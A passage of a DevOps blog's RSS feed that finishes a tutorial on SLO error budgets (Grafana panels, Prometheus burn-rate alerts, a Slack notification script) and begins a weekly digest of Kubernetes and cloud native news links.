            <span class="hljs-attr">&quot;steps&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
              <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">0</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;color&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;red&quot;</span> <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
              <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">0.999</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;color&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;yellow&quot;</span> <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
              <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">0.9995</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;color&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;green&quot;</span> <span class="hljs-punctuation">}</span>
            <span class="hljs-punctuation">]</span>
          <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;unit&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;percentunit&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;min&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">0.99</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;max&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1</span>
        <span class="hljs-punctuation">}</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;title&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Error Budget Remaining&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;stat&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;targets&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;expr&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;((sum(rate(http_requests_total{status!~\&quot;5..\&quot;}[30d])) / sum(rate(http_requests_total[30d]))) - 0.999) / (1 - 0.999) * 100&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;legendFormat&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Budget %&quot;</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;fieldConfig&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;defaults&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;unit&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;percent&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;thresholds&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
            <span class="hljs-attr">&quot;steps&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
              <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">0</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;color&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;red&quot;</span> <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
              <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">25</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;color&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;orange&quot;</span> <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
              <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">50</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;color&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;green&quot;</span> <span class="hljs-punctuation">}</span>
            <span class="hljs-punctuation">]</span>
          <span class="hljs-punctuation">}</span>
        <span class="hljs-punctuation">}</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span>
</code></pre><p>The gauge turns yellow when you are close to violating the SLO and red when you have breached it. The stat panel shows the remaining budget as a percentage, so anyone on the team can see at a glance whether it is safe to ship.</p>
<h2 id="h2-alerting-on-error-budget-burn-rate" class="group relative scroll-mt-24">
        <a href="#h2-alerting-on-error-budget-burn-rate" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Alerting on Error Budget Burn Rate
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-alerting-on-error-budget-burn-rate"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Do not alert when the SLO is breached. By then it is too late. Instead, alert on the <strong>burn rate</strong>, which tells you how fast you are consuming budget.</p>
<p>A burn rate of 1 means you will exactly exhaust your budget by the end of the window. A burn rate of 10 means you are burning 10x faster than sustainable, and you will run out in 3 days instead of 30.</p>
<p>Here is an Alertmanager rule that fires when the burn rate gets dangerous:</p>
<pre><code class="hljs language-yaml"><span class="hljs-comment"># Prometheus alerting rules for SLO burn rate</span>
<span class="hljs-attr">groups:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">slo-burn-rate</span>
    <span class="hljs-attr">rules:</span>
      <span class="hljs-comment"># Fast burn: 14.4x over 1 hour AND 6x over 6 hours</span>
      <span class="hljs-comment"># Pages the on-call engineer</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">alert:</span> <span class="hljs-string">HighErrorBudgetBurn</span>
        <span class="hljs-attr">expr:</span> <span class="hljs-string">|
          (
            1 - (sum(rate(http_requests_total{status!~&quot;5..&quot;}[1h]))
            / sum(rate(http_requests_total[1h])))
          ) / (1 - 0.999) &gt; 14.4
          and
          (
            1 - (sum(rate(http_requests_total{status!~&quot;5..&quot;}[6h]))
            / sum(rate(http_requests_total[6h])))
          ) / (1 - 0.999) &gt; 6
</span>        <span class="hljs-attr">for:</span> <span class="hljs-string">5m</span>
        <span class="hljs-attr">labels:</span>
          <span class="hljs-attr">severity:</span> <span class="hljs-string">critical</span>
        <span class="hljs-attr">annotations:</span>
          <span class="hljs-attr">summary:</span> <span class="hljs-string">&quot;Checkout API burning error budget 14x faster than sustainable&quot;</span>
          <span class="hljs-attr">description:</span> <span class="hljs-string">&quot;At this rate, the 30-day error budget will be exhausted in ~2 days.&quot;</span>

      <span class="hljs-comment"># Slow burn: 3x over 1 day AND 1x over 3 days</span>
      <span class="hljs-comment"># Creates a ticket, no page</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">alert:</span> <span class="hljs-string">SlowErrorBudgetBurn</span>
        <span class="hljs-attr">expr:</span> <span class="hljs-string">|
          (
            1 - (sum(rate(http_requests_total{status!~&quot;5..&quot;}[1d]))
            / sum(rate(http_requests_total[1d])))
          ) / (1 - 0.999) &gt; 3
          and
          (
            1 - (sum(rate(http_requests_total{status!~&quot;5..&quot;}[3d]))
            / sum(rate(http_requests_total[3d])))
          ) / (1 - 0.999) &gt; 1
</span>        <span class="hljs-attr">for:</span> <span class="hljs-string">30m</span>
        <span class="hljs-attr">labels:</span>
          <span class="hljs-attr">severity:</span> <span class="hljs-string">warning</span>
        <span class="hljs-attr">annotations:</span>
          <span class="hljs-attr">summary:</span> <span class="hljs-string">&quot;Checkout API slowly burning error budget&quot;</span>
          <span class="hljs-attr">description:</span> <span class="hljs-string">&quot;Budget will be exhausted before the window resets if this continues.&quot;</span>
</code></pre><p>The two-window approach (short and long) prevents alert fatigue. A brief spike triggers the short window but not the long one, so you do not get paged for a 30-second blip. A sustained problem triggers both, which means something is actually wrong.</p>
<h2 id="h2-what-to-do-when-the-budget-runs-out" class="group relative scroll-mt-24">
        <a href="#h2-what-to-do-when-the-budget-runs-out" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to Do When the Budget Runs Out
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-do-when-the-budget-runs-out"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is where error budgets change how your team works. When the budget is exhausted, you have a clear policy:</p>
<pre><code class="hljs language-text">Error Budget Policy
-------------------

Budget &gt; 50%:  Ship freely. Take risks. Run experiments.
Budget 25-50%: Ship with extra caution. Require rollback plans.
Budget 5-25%:  Freeze non-critical deploys. Focus on reliability work.
Budget &lt; 5%:   Full feature freeze. All engineering effort goes to reliability.
Budget = 0%:   Postmortem required. No deploys until budget recovers.
</code></pre><p>Write this policy down. Get buy-in from engineering leadership and product management before you need it. The worst time to negotiate a feature freeze is during an incident.</p>
<p>Here is a simple script that checks the budget and posts to Slack:</p>
<pre><code class="hljs language-bash"><span class="hljs-meta">#!/bin/bash</span>
<span class="hljs-comment"># check-error-budget.sh - Run via cron every hour</span>

PROM_URL=<span class="hljs-string">&quot;http://prometheus:9090&quot;</span>
SLACK_WEBHOOK=<span class="hljs-string">&quot;https://hooks.slack.com/services/YOUR/WEBHOOK/URL&quot;</span>
SLO_TARGET=0.999

<span class="hljs-comment"># Query current availability over 30 days</span>
AVAILABILITY=$(curl -s <span class="hljs-string">&quot;<span class="hljs-variable">${PROM_URL}</span>/api/v1/query&quot;</span> \
  --data-urlencode <span class="hljs-string">&#x27;query=sum(rate(http_requests_total{status!~&quot;5..&quot;}[30d])) / sum(rate(http_requests_total[30d]))&#x27;</span> \
  | jq -r <span class="hljs-string">&#x27;.data.result[0].value[1]&#x27;</span>)

<span class="hljs-comment"># Calculate remaining budget as a percentage</span>
BUDGET=$(<span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;scale=2; ((<span class="hljs-variable">$AVAILABILITY</span> - <span class="hljs-variable">$SLO_TARGET</span>) / (1 - <span class="hljs-variable">$SLO_TARGET</span>)) * 100&quot;</span> | bc)

<span class="hljs-keyword">if</span> (( $(echo &quot;<span class="hljs-variable">$BUDGET</span> &lt; <span class="hljs-number">25</span>&quot; | bc -l) )); <span class="hljs-keyword">then</span>
  curl -s -X POST <span class="hljs-string">&quot;<span class="hljs-variable">$SLACK_WEBHOOK</span>&quot;</span> \
    -H <span class="hljs-string">&#x27;Content-Type: application/json&#x27;</span> \
    -d <span class="hljs-string">&quot;{\&quot;text\&quot;: \&quot;Warning: checkout-api error budget is at <span class="hljs-variable">${BUDGET}</span>%. Current availability: <span class="hljs-variable">${AVAILABILITY}</span>\&quot;}&quot;</span>
<span class="hljs-keyword">fi</span>
</code></pre><h2 id="h2-common-mistakes-to-avoid" class="group relative scroll-mt-24">
        <a href="#h2-common-mistakes-to-avoid" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Common Mistakes to Avoid
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-common-mistakes-to-avoid"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Setting SLOs too high.</strong> A 99.99% SLO for an internal dashboard is a waste. You will spend all your time protecting a budget that nobody actually needs. Match the SLO to user expectations.</p>
<p><strong>Measuring the wrong thing.</strong> Server-side health checks are not SLIs. If your health check returns 200 but users see timeout errors because of a broken load balancer, your SLI missed the problem. Measure as close to the user as possible.</p>
<p><strong>Ignoring the error budget policy.</strong> If you set SLOs but never act on budget exhaustion, the whole system is theater. The budget only works if teams actually slow down when it runs out.</p>
<p><strong>Using SLOs as a performance review tool.</strong> SLOs measure service reliability, not engineer performance. The moment you blame someone for a budget burn, people start gaming the metrics.</p>
<p><strong>Not revisiting SLOs.</strong> Review your targets every quarter. If you never burn more than 10% of your budget, the SLO is too loose. If you breach every month, it is too tight, or you have real reliability problems to fix.</p>
<h2 id="h2-next-steps" class="group relative scroll-mt-24">
        <a href="#h2-next-steps" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Next Steps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-next-steps"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li>Pick one service, ideally your most user-facing one, and define two SLIs: availability and latency</li>
<li>Set initial SLO targets at 99.9% availability and 99% latency. You can always adjust later</li>
<li>Add the Prometheus instrumentation from this post and build the Grafana dashboard</li>
<li>Set up burn rate alerts using the two-window approach shown above</li>
<li>Write an error budget policy and get sign-off from your team lead and product manager</li>
<li>Schedule a monthly SLO review meeting to check if targets still make sense</li>
</ol>
<p>Start small. One service, two SLIs, one dashboard. You will learn more from running a real SLO for a month than from planning the perfect SLO framework on a whiteboard.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[DevOps Weekly Digest - Week 16, 2026]]></title>
      <link>https://devops.anhp.site/news/2026-week-16</link>
      <description><![CDATA[⚡ Curated updates from Kubernetes, cloud native tooling, CI/CD, IaC, observability, and security - handpicked for DevOps professionals!]]></description>
      <pubDate>Mon, 13 Apr 2026 00:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/news/2026-week-16</guid>
      <category><![CDATA[DevOps News]]></category>
      <content:encoded><![CDATA[<blockquote>
<p>📌 <strong>Handpicked by be4n</strong> - Your weekly dose of curated DevOps news and updates!</p>
</blockquote>
<hr>
<h2 id="h2-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ⚓ Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-hpa-managed-workloads-why-the-obvious-waste-stays" class="group relative scroll-mt-24">
        <a href="#h3-hpa-managed-workloads-why-the-obvious-waste-stays" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 HPA-managed workloads: Why the obvious waste stays
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-hpa-managed-workloads-why-the-obvious-waste-stays"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Teams running Kubernetes can usually see where they’re overprovisioned. Requests are higher than they need to be, there’s consistent headroom, and capacity The post HPA-managed workloads: Why the obvi</p>
<p><strong>📅 Apr 12, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/hpa-managed-workloads-why-waste-stays/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-building-intelligent-knowledge-graphs-for-amazon-eks-operations-using-aws-devops-agent" class="group relative scroll-mt-24">
        <a href="#h3-building-intelligent-knowledge-graphs-for-amazon-eks-operations-using-aws-devops-agent" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building intelligent knowledge graphs for Amazon EKS operations using AWS DevOps Agent
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-intelligent-knowledge-graphs-for-amazon-eks-operations-using-aws-devops-agent"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this post, we demonstrate how AWS DevOps Agent works—from alert generation to identifying the affected EKS cluster, building knowledge graphs, and troubleshooting application or infrastructure issu</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/building-intelligent-knowledge-graphs-for-amazon-eks-operations-using-aws-devops-agent/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-virtualization-for-ai-workloads-building-open-source-gpuoptimized-infrastructure" class="group relative scroll-mt-24">
        <a href="#h3-virtualization-for-ai-workloads-building-open-source-gpuoptimized-infrastructure" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Virtualization for AI Workloads: Building Open Source GPU‑Optimized Infrastructure
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-virtualization-for-ai-workloads-building-open-source-gpuoptimized-infrastructure"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As enterprise AI matures, infrastructure patterns are shifting. Teams that started with dedicated GPU servers are now building shared platforms that must support multiple workloads, enforce governance</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/virtualization-for-ai-workloads-building-open-source-gpu-optimized-infrastructure/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ubuntu-pro-comes-to-nutanix-bare-metal-kubernetes" class="group relative scroll-mt-24">
        <a href="#h3-ubuntu-pro-comes-to-nutanix-bare-metal-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Ubuntu Pro comes to Nutanix bare-metal Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ubuntu-pro-comes-to-nutanix-bare-metal-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Nutanix and Canonical expand partnership to offer more choice for containerized workloads Enterprise Kubernetes® is maturing into a highly flexible, multi-architecture model. As AI/ML and data-intensi</p>
<p><strong>📅 Apr 8, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/ubuntu-pro-on-nutanix-bare-metal-kubernetes"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-peer-to-peer-acceleration-for-ai-model-distribution-with-dragonfly" class="group relative scroll-mt-24">
        <a href="#h3-peer-to-peer-acceleration-for-ai-model-distribution-with-dragonfly" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Peer-to-Peer acceleration for AI model distribution with Dragonfly
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-peer-to-peer-acceleration-for-ai-model-distribution-with-dragonfly"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The problem: AI model distribution is broken at scale Large-scale AI model distribution presents challenges in performance, efficiency, and cost. Consider a typical scenario: an ML platform team manag</p>
<p><strong>📅 Apr 6, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/06/peer-to-peer-acceleration-for-ai-model-distribution-with-dragonfly/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cloud-native" class="group relative scroll-mt-24">
        <a href="#h2-cloud-native" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ☁️ Cloud Native
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cloud-native"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-what-i-learned-at-my-first-kubecon-cloudnativecon-as-a-high-school-speaker" class="group relative scroll-mt-24">
        <a href="#h3-what-i-learned-at-my-first-kubecon-cloudnativecon-as-a-high-school-speaker" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What I Learned at My First KubeCon + CloudNativeCon as a High School Speaker
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-i-learned-at-my-first-kubecon-cloudnativecon-as-a-high-school-speaker"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>KubeCon + CloudNativeCon Europe 2026 is one of the biggest open-source conferences in the world, organized by the Cloud Native Computing Foundation (part of the Linux Foundation, which manages major p</p>
<p><strong>📅 Apr 11, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/11/what-i-learned-at-my-first-kubecon-cloudnativecon-as-a-high-school-speaker/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-rethinking-platform-engineering-through-diverse-perspectives-at-kubecon-cloudnativecon-eu-amsterdam" class="group relative scroll-mt-24">
        <a href="#h3-rethinking-platform-engineering-through-diverse-perspectives-at-kubecon-cloudnativecon-eu-amsterdam" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Rethinking platform engineering through diverse perspectives at KubeCon + CloudNativeCon EU Amsterdam
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-rethinking-platform-engineering-through-diverse-perspectives-at-kubecon-cloudnativecon-eu-amsterdam"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>KubeCon + CloudNativeCon Europe 2026 in Amsterdam highlighted the evolution of cloud native practices, particularly in platform engineering, and the growing focus on inclusion and accessibility within</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/10/rethinking-platform-engineering-through-diverse-perspectives-at-kubecon-cloudnativecon-eu-amsterdam/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-its-here-meet-the-new-ibm-apptio-report-studio-a-faster-more-intuitive-approach-to-reporting" class="group relative scroll-mt-24">
        <a href="#h3-its-here-meet-the-new-ibm-apptio-report-studio-a-faster-more-intuitive-approach-to-reporting" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 It’s Here: Meet the New IBM Apptio Report Studio – A Faster, More Intuitive Approach to Reporting
        </a>
        <button 
